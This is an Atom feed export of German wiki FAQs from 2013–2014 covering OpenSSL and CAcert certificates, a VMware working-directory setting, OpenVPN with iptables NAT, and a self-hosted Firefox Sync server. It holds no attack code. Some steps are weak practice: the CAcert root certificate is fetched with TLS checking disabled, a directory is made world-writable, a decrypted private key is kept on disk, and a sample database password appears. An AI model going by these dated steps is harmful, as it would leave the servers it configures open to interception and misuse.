		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „DEBIAN OPENSSL UND CERTS FAQ (Stand 17.11.2013) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]  Als erstes openssl…“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;DEBIAN OPENSSL UND CERTS FAQ (Stand 17.11.2013) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
Als erstes openssl installieren mit:&lt;br /&gt;
&lt;br /&gt;
 sudo aptitude install openssl&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun werden fuer die jeweiligen Domains Certs erstellt (URL muss mit der jeweiligen domain ersetzt werden).&lt;br /&gt;
&lt;br /&gt;
 sudo mkdir /usr/share/ssl-cert&lt;br /&gt;
 cd /usr/share/ssl-cert&lt;br /&gt;
&lt;br /&gt;
Beim naechsten Befehl wird man nach einen Key gefragt, den sollte man sich gut merken.&lt;br /&gt;
 sudo openssl genrsa -des3 -out /usr/share/ssl-cert/URL.key 2048&lt;br /&gt;
&lt;br /&gt;
Hiermit wird ein 10jahre laufendes zertifikat erstellt:&lt;br /&gt;
 sudo openssl req -new -days 3650 -key /usr/share/ssl-cert/URL.key -out /usr/share/ssl-cert/URL.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:DE					&amp;lt;&amp;lt; hier wird ein 2 stelliger laendercode benoetigt, . laesst die zeile leer&lt;br /&gt;
 State or Province Name (full name) [Some-State]:NRW			&amp;lt;&amp;lt; hier wird das bundesland benoetigt, . laesst die zeile leer&lt;br /&gt;
 Locality Name (eg, city) []:Herne					&amp;lt;&amp;lt; hier wird der name der stadt benoetigt, . laesst die zeile leer&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:.		&amp;lt;&amp;lt; hier wird der firmenname benoetigt, . laesst die zeile leer&lt;br /&gt;
 Organizational Unit Name (eg, section) []:.				&amp;lt;&amp;lt; optinale namensangabe, . laesst die zeile leer&lt;br /&gt;
 Common Name (eg, YOUR name) []:URL					&amp;lt;&amp;lt; hier sollte man die url angeben&lt;br /&gt;
 Email Address []:admin@domain.de					&amp;lt;&amp;lt; hier sollte man seine emailadresse angeben, . laesst die zeile leer&lt;br /&gt;
&lt;br /&gt;
 Please enter the following &#039;extra&#039; attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:xxxxx						&amp;lt;&amp;lt; hier wird ein weiteres passwort abgefragt&lt;br /&gt;
 An optional company name []:.						&amp;lt;&amp;lt; optinaler firmenname, . laesst die zeile leer&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 sudo openssl rsa -in /usr/share/ssl-cert/URL.key -out /usr/share/ssl-cert/URL.key.decrypted&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cacert Zertifikat beantragen:&lt;br /&gt;
(folgendes muss etwa alle 6monate wiederholt werden, da diese von cacerts.org nur 6 monate gueltig sind)&lt;br /&gt;
&lt;br /&gt;
Account bei cacert.org erstellen und die entsprechende Domain, unter Domains-&amp;gt;hinzufuegen, eintragen.&lt;br /&gt;
Nachdem die Domain hinzugefuegt wurde, kann nun das Server Zertifikat beantragt werden.&lt;br /&gt;
Dazu geht man in Server Zertifikate-&amp;gt;neu und kopiert den Inhalt von /usr/share/ssl-cert/URL.csr in&lt;br /&gt;
das Textfeld.&lt;br /&gt;
Den Inhalt kann man sich wie folgt anzeigen lassen:&lt;br /&gt;
 cat /usr/share/ssl-cert/URL.csr&lt;br /&gt;
&lt;br /&gt;
 -----BEGIN CERTIFICATE REQUEST-----&lt;br /&gt;
 .&lt;br /&gt;
 .&lt;br /&gt;
 -----END CERTIFICATE REQUEST-----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nach ein paar Sekunden wird das CAcert Zertifikat angezeigt:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 -----BEGIN CERTIFICATE------&lt;br /&gt;
 .&lt;br /&gt;
 .&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun eine neue Datei mit den Namen URL.crt erstellen und das Zertifikat von Cacert dort hinein kopieren:&lt;br /&gt;
&lt;br /&gt;
 sudo nano /usr/share/ssl-cert/URL.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 sudo bash -c &amp;quot;cat /usr/share/ssl-cert/URL.key.decrypted /usr/share/ssl-cert/URL.crt &amp;gt; /usr/share/ssl-cert/URL.pem&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt wird noch das root Zertifikat von Cacert benoetigt:&lt;br /&gt;
&lt;br /&gt;
 sudo wget --no-check-certificate https://www.CAcert.org/certs/root.crt -O /usr/share/ssl-cert/cacert.crt&lt;br /&gt;
 sudo chmod a=r /usr/share/ssl-cert/cacert.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Postfix TLS und Courier&lt;br /&gt;
 http://unix.oppserver.net/debian/postfix_debian_install&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Proftpd&lt;br /&gt;
 http://unix.oppserver.net/debian/proftpd_tls-ssl_faq_debian&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Hier wie man diese dann im Client installiert&lt;br /&gt;
 http://cacert.oppserver.net/&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=VMWare_NTFS-3G_FAQ&amp;diff=425</id>
		<title>VMWare NTFS-3G FAQ</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=VMWare_NTFS-3G_FAQ&amp;diff=425"/>
		<updated>2014-01-05T09:18:55Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „Setze an das Ende des .vmx Files der jeweiligen Virtuelen Maschine folgendes:   alt:  mainMem.useNamedFile = &amp;quot;FALSE&amp;quot;   neu:  workingDir = &amp;quot;../../../home/vmware…“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Setze an das Ende des .vmx Files der jeweiligen Virtuelen Maschine folgendes:&lt;br /&gt;
&lt;br /&gt;
 alt:&lt;br /&gt;
 mainMem.useNamedFile = &amp;quot;FALSE&amp;quot;&lt;br /&gt;
&lt;br /&gt;
 neu:&lt;br /&gt;
 workingDir = &amp;quot;../../../home/vmware&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 Vorher muss man aber folgendes ausfuehren:&lt;br /&gt;
 mkdir /home/vmware&lt;br /&gt;
 chmod 777 /home/vmware&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=DEBIAN_OPENVPN_FAQ&amp;diff=139</id>
		<title>DEBIAN OPENVPN FAQ</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=DEBIAN_OPENVPN_FAQ&amp;diff=139"/>
		<updated>2013-05-26T14:58:01Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;DEBIAN OPENVPN FAQ (Stand 26.05.2013) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als root einloggen!!!&lt;br /&gt;
Die IP Range 10.11.12.x kann natuerlich gegen jede andere Private IP Range gewechselt werden, z.B. 192.168.100.x.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bevor wir OpenVPN installieren, pruefen wir ob es das tun device gibt:&lt;br /&gt;
&lt;br /&gt;
 cat /dev/net/tun &lt;br /&gt;
&lt;br /&gt;
Falls man die Meldung &amp;quot;File descriptor in bad state&amp;quot; bekommt, ist alles in Ordnung.&lt;br /&gt;
Falls nicht, kann man versuchen das Device anzulegen:&lt;br /&gt;
&lt;br /&gt;
 mkdir -p /dev/net&lt;br /&gt;
 mknod /dev/net/tun c 10 200&lt;br /&gt;
 chmod 600 /dev/net/tun &lt;br /&gt;
&lt;br /&gt;
Falls dies auch nicht hilft, muss man seinen Server/VPS/VServer Provider bitten tun/tap zu aktivieren.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Zunaechst installieren wir openVPN auf dem Server und auf dem Client:&lt;br /&gt;
 aptitude install openvpn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dann stellen wir sicher, dass keine ungewollten Configs herumschwirren (openVPN erstellt gerne Samples)&lt;br /&gt;
und loeschen die Dateien (nicht die Ordner) innerhalb von /etc/openvpn:&lt;br /&gt;
 rm -rf /etc/openvpn/examples&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Auf dem Server erstellen wir unsere Schluessel und Zertifikate. Daher kopieren wir die easy-rsa-Tools von&lt;br /&gt;
openVPN ins Config-Verzeichnis:&lt;br /&gt;
 cp -rf /usr/share/doc/openvpn/examples/easy-rsa/2.0 /etc/openvpn/easy-rsa&lt;br /&gt;
 cd /etc/openvpn/easy-rsa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun bereiten wir das easy-rsa-Tool auf das Erstellen der Zertifikate und Schluessel vor:&lt;br /&gt;
Dazu editieren wir zunaechst die vars mit userem Lieblingseditor (z.B. nano /etc/openvpn/easy-rsa/vars).&lt;br /&gt;
Dabei interessieren eigentlich nur die Werte fuer &amp;quot;KEY_SIZE&amp;quot;, wo wir 2048 nehmen, &amp;quot;CA_EXPIRE&amp;quot;, wo wir&lt;br /&gt;
fuer die Ewigkeit 7300 (20 Jahre) nehmen, &amp;quot;KEY_EXPIRE&amp;quot;, wo wir 7300 (20 Jahre) nehmen, und &amp;quot;KEY_COUNTRY&amp;quot;,&lt;br /&gt;
&amp;quot;KEY_PROVINCE&amp;quot;, &amp;quot;KEY_CITY&amp;quot;, &amp;quot;KEY_ORG&amp;quot; und &amp;quot;KEY_EMAIL&amp;quot;, was wohl selbsterklaerend ist.&lt;br /&gt;
Damit diese Werte verwendet werden, lesen wir sie in unsere Shell-Sitzung ein:&lt;br /&gt;
 . ./vars&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um zunaechst reinen Tisch zu machen, fuehren wir das Clean-Tool aus, erstellen eine neue CA und erzeugen&lt;br /&gt;
einen Diffie-Hellman-Parameter mit 2048 Bit:&lt;br /&gt;
 ./clean-all&lt;br /&gt;
 ./build-ca&lt;br /&gt;
 ./build-dh&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Wenn die Erzeugung des Diffie-Hellman-Paramters abgeschlossen ist, erzeugen wir nun noch ein Server-Zertifikat:&lt;br /&gt;
 ./build-key-server [Server-Name]&lt;br /&gt;
&lt;br /&gt;
Bei [Server-Name] koennen wir dabei einsetzen, was wir wollen. Wichtig ist dabei, dass der Name (CN) absolut&lt;br /&gt;
eindeutig bleibt. Auch sollte bedacht werden, dass wir fuer verschiedene Configs nicht mehrere&lt;br /&gt;
Zertifikat-Key-Paare benoetigen. Wir muessen also keine komplizierten Namen bestehend aus Verwendungszweck&lt;br /&gt;
und Hostnamen verwenden. Ich empfehle ein simples &amp;quot;openVPN-Server&amp;quot;. Was genau da nun drinsteht,&lt;br /&gt;
interessiert letztendlich niemanden mehr.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um nun Client-Zertifikate zu erstellen, ist ab sofort nur noch folgendes Procedere noetig,&lt;br /&gt;
uebrigens wann immer man moechte:&lt;br /&gt;
&lt;br /&gt;
 . ./vars&lt;br /&gt;
 ./build-key [Client-Name]&lt;br /&gt;
Am Ende mit 2x y bestaetigen.&lt;br /&gt;
&lt;br /&gt;
Bitte auch hier auf die Eindeutigkeit des Client-Namens achten.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun legen wir noch einen Link fuer die Keys an und erstellen das client dir:&lt;br /&gt;
 ln -s /etc/openvpn/easy-rsa/keys /etc/openvpn/keys&lt;br /&gt;
 mkdir /etc/openvpn/clients&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt legen wir auf dem Server eine Config unter /etc/openvpn/ an, z.B.  &amp;quot;server.conf&amp;quot;. Die endung &amp;quot;.conf&amp;quot; ist&lt;br /&gt;
dabei fuer den Daemon wichtig, denn alle .conf-Dateien in diesem Verzeichnis werden vom Init-Script automatisch&lt;br /&gt;
bei Systemstart gestartet und beim Shutdown gestoppt:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 # Diese Config initiiert einen Server mit mehreren Clients&lt;br /&gt;
 mode server&lt;br /&gt;
 &lt;br /&gt;
 # zusaetzlich TLS-Authentication-Server&lt;br /&gt;
 tls-server&lt;br /&gt;
 &lt;br /&gt;
 # lokale IP&lt;br /&gt;
 local [IP des Servers]&lt;br /&gt;
 &lt;br /&gt;
 # Um die Rechte einzuschraenken&lt;br /&gt;
 user nobody&lt;br /&gt;
 group nogroup&lt;br /&gt;
 &lt;br /&gt;
 # Port (beliebig, nur mind. 4-stellig)&lt;br /&gt;
 port 5000&lt;br /&gt;
 &lt;br /&gt;
 # UDP ist Pflicht fuer TAP, wir nutzen aber TUN&lt;br /&gt;
 ;proto udp&lt;br /&gt;
 proto tcp&lt;br /&gt;
 &lt;br /&gt;
 # Das Device muss fuer bridging TAP sein, wir nutzen aber TUN&lt;br /&gt;
 ;dev tap&lt;br /&gt;
 dev tun&lt;br /&gt;
 &lt;br /&gt;
 # Hiermit vergeben wir dem Server und den Clients IPs&lt;br /&gt;
 server 10.11.12.0 255.255.255.0&lt;br /&gt;
 &lt;br /&gt;
 ca /etc/openvpn/keys/ca.crt&lt;br /&gt;
 cert /etc/openvpn/keys/[Server-Name].crt&lt;br /&gt;
 key /etc/openvpn/keys/[Server-Name].key&lt;br /&gt;
 dh /etc/openvpn/keys/dh2048.pem&lt;br /&gt;
 &lt;br /&gt;
 # Wir komprimieren, um die Bandbreite zu verbessern&lt;br /&gt;
 comp-lzo&lt;br /&gt;
 &lt;br /&gt;
 # Welcher Verschluesselungs-Algorithmus?&lt;br /&gt;
 cipher AES-256-CBC&lt;br /&gt;
 &lt;br /&gt;
 # Aufrechterhaltung der Verbindung&lt;br /&gt;
 keepalive 10 120&lt;br /&gt;
 &lt;br /&gt;
 # Client-to-Client-Traffic erlauben&lt;br /&gt;
 client-to-client&lt;br /&gt;
 &lt;br /&gt;
 # Clients mit selben Key erlauben zu verbinden&lt;br /&gt;
 duplicate-cn&lt;br /&gt;
 &lt;br /&gt;
 # Max. Anzahl an Clients erlauben&lt;br /&gt;
 max-clients 100&lt;br /&gt;
 &lt;br /&gt;
 # einige log Configs&lt;br /&gt;
 persist-key&lt;br /&gt;
 persist-tun&lt;br /&gt;
 status openvpn-status.log&lt;br /&gt;
 verb 3&lt;br /&gt;
 nice -10&lt;br /&gt;
 &lt;br /&gt;
 # Clients eigene Configs zuteilen (siehe unten)&lt;br /&gt;
 client-config-dir clients&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt bekommt jeder normale Benutzer eine IP-Adresse von 10.11.12.0/24. Unsere &amp;quot;speziellen&amp;quot;&lt;br /&gt;
Benutzer muessen noch mithilfe des common names vom Zertifikat spezielle Regeln bekommen, dazu&lt;br /&gt;
gibt es den Befehl client-config-dir &amp;lt;Verzeichnis&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 client-config-dir clients&lt;br /&gt;
&lt;br /&gt;
Je nach common name vom Zertifikat wird jetzt die Konfiguration clients/[Client-Name] aufgerufen.&lt;br /&gt;
Jetzt brauchen wir nur noch Dateien fuer die entsprechenden Benutzer erstellen:&lt;br /&gt;
&lt;br /&gt;
 clients/client1:&lt;br /&gt;
    ifconfig-push 10.11.12.6 10.11.12.5&lt;br /&gt;
 clients/client2:&lt;br /&gt;
    ifconfig-push 10.11.12.10 10.11.12.9&lt;br /&gt;
&lt;br /&gt;
ifconfig-push weisst den Clients eine virtuelle IP zu, die kann dann per routing auf die&lt;br /&gt;
entsprechenden Server gerouted werden. Die erste IP-Adresse gibt die Adresse des virtuellen&lt;br /&gt;
Clients an, die 2. des virtuellen Server endpoints. Laut openvpn.org-HOWTO muessen Sie aus /30&lt;br /&gt;
Subnets geholt werden, damit die Windows Clients/TAP-Win32 Treiber mitspielen.&lt;br /&gt;
&lt;br /&gt;
Quote von http://openvpn.net/howto.html:&lt;br /&gt;
&lt;br /&gt;
Specifically, the last octet in the IP address of each endpoint pair must be taken from this set:&lt;br /&gt;
&lt;br /&gt;
 [ 1, 2] [ 5, 6] [ 9, 10] [ 13, 14] [ 17, 18]&lt;br /&gt;
 [ 21, 22] [ 25, 26] [ 29, 30] [ 33, 34] [ 37, 38]&lt;br /&gt;
 [ 41, 42] [ 45, 46] [ 49, 50] [ 53, 54] [ 57, 58]&lt;br /&gt;
 [ 61, 62] [ 65, 66] [ 69, 70] [ 73, 74] [ 77, 78]&lt;br /&gt;
 [ 81, 82] [ 85, 86] [ 89, 90] [ 93, 94] [ 97, 98]&lt;br /&gt;
 [101,102] [105,106] [109,110] [113,114] [117,118]&lt;br /&gt;
 [121,122] [125,126] [129,130] [133,134] [137,138]&lt;br /&gt;
 [141,142] [145,146] [149,150] [153,154] [157,158]&lt;br /&gt;
 [161,162] [165,166] [169,170] [173,174] [177,178]&lt;br /&gt;
 [181,182] [185,186] [189,190] [193,194] [197,198]&lt;br /&gt;
 [201,202] [205,206] [209,210] [213,214] [217,218]&lt;br /&gt;
 [221,222] [225,226] [229,230] [233,234] [237,238]&lt;br /&gt;
 [241,242] [245,246] [249,250] [253,254] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt legen wir auf dem Client eine Config unter /etc/openvpn/ an, z.B.  &amp;quot;client.conf&amp;quot;. Die endung &amp;quot;.conf&amp;quot; ist&lt;br /&gt;
dabei fuer den Daemon wichtig, denn alle .conf-Dateien in diesem Verzeichnis werden vom Init-Script automatisch&lt;br /&gt;
bei Systemstart gestartet und beim Shutdown gestoppt. Falls der Autostart nicht erwuenscht ist muss man openvpn&lt;br /&gt;
aus den runleveln mit &amp;quot;update-rc.d -f openvpn remove&amp;quot;(Debian Lenny 5.0) oder&lt;br /&gt;
&amp;quot;update-rc.d-insserv -f openvpn remove&amp;quot;(Debian Squeeze 6.0) und dann manuell mit&lt;br /&gt;
&amp;quot;openvpn --config /etc/openvpn/client.conf&amp;quot; gestartet werden.&lt;br /&gt;
Bei einem Windows Client muss die Endung &amp;quot;.ovpn&amp;quot; lauten:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 # Diese Config initiiert einen Client&lt;br /&gt;
 client&lt;br /&gt;
 &lt;br /&gt;
 # zusaetzlich TLS-Authentication-Client&lt;br /&gt;
 tls-client&lt;br /&gt;
 &lt;br /&gt;
 # UDP ist Pflicht fuer TAP, wir nutzen aber TUN&lt;br /&gt;
 ;proto udp&lt;br /&gt;
 proto tcp&lt;br /&gt;
 &lt;br /&gt;
 # Das Device muss fuer bridging TAP sein, wir nutzen aber TUN&lt;br /&gt;
 ;dev tap&lt;br /&gt;
 dev tun&lt;br /&gt;
 &lt;br /&gt;
 # Remote-Server&lt;br /&gt;
 remote [IP des Servers] [Port des Servers]&lt;br /&gt;
 &lt;br /&gt;
 # Keinen lokalen Port festlegen&lt;br /&gt;
 nobind&lt;br /&gt;
 &lt;br /&gt;
 # Kompression&lt;br /&gt;
 comp-lzo&lt;br /&gt;
 &lt;br /&gt;
 #Verschluesselungs-Algorithmus&lt;br /&gt;
 cipher AES-256-CBC&lt;br /&gt;
 &lt;br /&gt;
 ca /etc/openvpn/keys/ca.crt&lt;br /&gt;
 cert /etc/openvpn/keys/[Client-Name].crt&lt;br /&gt;
 key /etc/openvpn/keys/[Client-Name].key&lt;br /&gt;
 &lt;br /&gt;
 # Folgendes auskommentieren wenn man nicht mit dem DNS des Server surfen moechte&lt;br /&gt;
 redirect-gateway&lt;br /&gt;
 &lt;br /&gt;
 # Weitere Configs&lt;br /&gt;
 resolv-retry infinite&lt;br /&gt;
 ns-cert-type server&lt;br /&gt;
 persist-key&lt;br /&gt;
 persist-tun&lt;br /&gt;
 verb 3&lt;br /&gt;
 float&lt;br /&gt;
 up /etc/openvpn/update-resolv-conf&lt;br /&gt;
 down /etc/openvpn/update-resolv-conf&lt;br /&gt;
 script-security 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun nur noch vom Server die Dateien /etc/openvpn/keys/ca.crt /etc/openvpn/keys/[Client-Name].crt&lt;br /&gt;
und /etc/openvpn/keys/[Client-Name].key auf den jeweiligen Client nach /etc/openvpn/keys kopieren.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
FORWARD TRAFFIC VIA VPN&lt;br /&gt;
Falls man redirect-gateway am Client nutzen will, also ueber die Ip des Servers surfen moechte,&lt;br /&gt;
ist noch folgendes notwendig:&lt;br /&gt;
(Im Kernel werden dafuer folgende Module benoetigt: ip_tables ip_conntrack ip_conntrack_ftp ip_conntrack_irc&lt;br /&gt;
iptable_nat ip_nat_ftp und evtl ip_nat_irc)&lt;br /&gt;
&lt;br /&gt;
Im Server IP-Forwarding aktivieren waehrend der aktiven Laufzeit&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Um dies bei jedem Bootvorgang permanent zu machen, muss in /etc/sysctl.conf&lt;br /&gt;
 #net.ipv4.ip_forward=1&lt;br /&gt;
nach&lt;br /&gt;
 net.ipv4.ip_forward=1&lt;br /&gt;
geaendert werden.&lt;br /&gt;
&lt;br /&gt;
Dann muessen einige Iptables Regeln gesetzt werden (Interface eth0 muss evtl angepasst werden,&lt;br /&gt;
zb bei einem openvz VPS kann es venet0 sein, immer das Interface was die verbindung ins Internet hat):&lt;br /&gt;
 iptables -A FORWARD -i eth0 -o tun0 -m state --state ESTABLISHED,RELATED -j ACCEPT&lt;br /&gt;
 iptables -A FORWARD -s 10.11.12.0/24 -o eth0 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
Entweder wenn MASQUERADE auf dem Server aktiviert ist reicht folgendes:&lt;br /&gt;
 iptables -t nat -A POSTROUTING -s 10.11.12.0/24 -o eth0 -j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
Wenn nicht und man die Fehlermeldung &amp;quot;iptables: No chain/target/match by that name&amp;quot; bekommt, kann man noch diese Moeglichkeit probieren:&lt;br /&gt;
 iptables -t nat -A POSTROUTING -s 10.11.12.0/24 -j SNAT --to-source 1.1.1.1&lt;br /&gt;
(Die IP 1.1.1.1 MUSS gegen die oeffentliche IP des Servers gewechselt werden.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sobald alles wie gewollt laeuft, kann man die Regeln wie folgt speichern und beim Bootvorgang&lt;br /&gt;
automatisch laden lassen:&lt;br /&gt;
 iptables-save &amp;gt; /etc/iptables.up.rules&lt;br /&gt;
 nano /etc/network/if-pre-up.d/iptables&lt;br /&gt;
Hier fuegen wir folgende Zeilen ein:&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 /sbin/iptables-restore &amp;lt; /etc/iptables.up.rules&lt;br /&gt;
&lt;br /&gt;
Dann setzen wir noch folgende Rechte:&lt;br /&gt;
 chmod +x /etc/network/if-pre-up.d/iptables&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Basierend auf folgenden Anleitungen:&lt;br /&gt;
 http://blog.kleen.ch/2010/06/01/von-uberall-ins-lan-mittels-openvpn/&lt;br /&gt;
 http://sohonetwork.blogspot.de/2012/05/install-openvpn-ubuntu-vps-10-minutes.html&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=FIREFOX_SYNC_SERVER_DEBIAN_FAQ&amp;diff=125</id>
		<title>FIREFOX SYNC SERVER DEBIAN FAQ</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=FIREFOX_SYNC_SERVER_DEBIAN_FAQ&amp;diff=125"/>
		<updated>2013-05-13T23:45:33Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;FIREFOX SYNC SERVER DEBIAN FAQ (Stand 14.05.2013) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
Alle Befehle sind als user root auszufuehren:&lt;br /&gt;
&lt;br /&gt;
Die noetigen Pakete installieren:&lt;br /&gt;
 aptitude install libapache2-mod-wsgi python-dev mercurial python-virtualenv php-services-json sqlite3 libmysqlclient-dev mysql-server&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benutzer ffsync erstellen:&lt;br /&gt;
 adduser --system --home /home/ffsync --group ffsync&lt;br /&gt;
 passwd ffsync&lt;br /&gt;
 usermod -s /bin/bash ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Den Apache User zu der Gruppe ffsync hinzufuegen:&lt;br /&gt;
 adduser www-data ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Mysql einrichten:&lt;br /&gt;
&lt;br /&gt;
 mysql -u root -p mysql&lt;br /&gt;
 create database ffsync;&lt;br /&gt;
 CREATE USER &#039;ffsync&#039;@&#039;localhost&#039; IDENTIFIED BY &#039;ffsync&#039;;&lt;br /&gt;
 SET PASSWORD FOR &#039;ffsync&#039;@&#039;localhost&#039; = PASSWORD(&#039;P@ssw0rt&#039;);&lt;br /&gt;
 grant all on ffsync.* to &#039;ffsync&#039;@&#039;localhost&#039;;&lt;br /&gt;
 quit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Den User wechseln:&lt;br /&gt;
 su - ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Den Server holen und installieren:&lt;br /&gt;
 hg clone https://hg.mozilla.org/services/server-full&lt;br /&gt;
 mkdir data tmp&lt;br /&gt;
 cd server-full&lt;br /&gt;
 make build&lt;br /&gt;
 bin/easy_install Mysql-Python&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In sync.wsgi folgendes aendern:&lt;br /&gt;
&lt;br /&gt;
 os.environ[&#039;PYTHON_EGG_CACHE&#039;] = &#039;/tmp/python-eggs&#039;&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 os.environ[&#039;PYTHON_EGG_CACHE&#039;] = &#039;/home/ffsync/tmp/python-eggs&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ini_file = os.path.join(_CURDIR, &#039;development.ini&#039;)&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 ini_file = os.path.join(_CURDIR, &#039;server.ini&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 cp development.ini server.ini&lt;br /&gt;
&lt;br /&gt;
In server.ini folges aendern:&lt;br /&gt;
&lt;br /&gt;
 [server:main]&lt;br /&gt;
 use = egg:Paste#http&lt;br /&gt;
 host = 0.0.0.0&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 [server:main]&lt;br /&gt;
 use = egg:Paste#http&lt;br /&gt;
 host = 192.168.0.2 &amp;lt;&amp;lt; Beispiel&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 [handler_syncserver_errors]&lt;br /&gt;
 class = handlers.RotatingFileHandler&lt;br /&gt;
 args = (&#039;/tmp/sync-error.log&#039;,)&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 [handler_syncserver_errors]&lt;br /&gt;
 class = handlers.RotatingFileHandler&lt;br /&gt;
 args = (&#039;/home/ffsync/tmp/sync-error.log&#039;,)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In etc/sync.conf folgendes aendern:&lt;br /&gt;
&lt;br /&gt;
 [captcha]&lt;br /&gt;
 use = true&lt;br /&gt;
 public_key = xyz&lt;br /&gt;
 private_key = xyz&lt;br /&gt;
 use_ssl = true&lt;br /&gt;
&lt;br /&gt;
Die Keys kann man hier https://www.google.com/recaptcha/admin/create generieren.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Im folgenden sind nur die Aenderungen aufgefuehrt:&lt;br /&gt;
 [storage]&lt;br /&gt;
 backend = syncstorage.storage.sql.SQLStorage&lt;br /&gt;
 sqluri = mysql://ffsync:P@ssw0rt@localhost/ffsync&lt;br /&gt;
 ...&lt;br /&gt;
 quota_size = 20480&lt;br /&gt;
&lt;br /&gt;
 [auth]&lt;br /&gt;
 backend = services.user.sql.SQLUser&lt;br /&gt;
 sqluri = mysql://ffsync:P@ssw0rt@localhost/ffsync&lt;br /&gt;
 &lt;br /&gt;
 [nodes]&lt;br /&gt;
 # You must set this to your client-visible server URL.&lt;br /&gt;
 # fallback_node = http://example.com/path/to/sync&lt;br /&gt;
 fallback_node = http://ffsync.oppserver.net/&lt;br /&gt;
 &lt;br /&gt;
 [smtp]&lt;br /&gt;
 host = localhost&lt;br /&gt;
 port = 25&lt;br /&gt;
 sender = ffsync@oppserver.net&lt;br /&gt;
 &lt;br /&gt;
 [reset_codes]&lt;br /&gt;
 backend = services.resetcodes.rc_sql.ResetCodeSQL&lt;br /&gt;
 #sqluri = sqlite:////tmp/test.db&lt;br /&gt;
 sqluri = mysql://ffsync:P@ssw0rt@localhost/ffsync&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Apache und Vhost einrichten:&lt;br /&gt;
&lt;br /&gt;
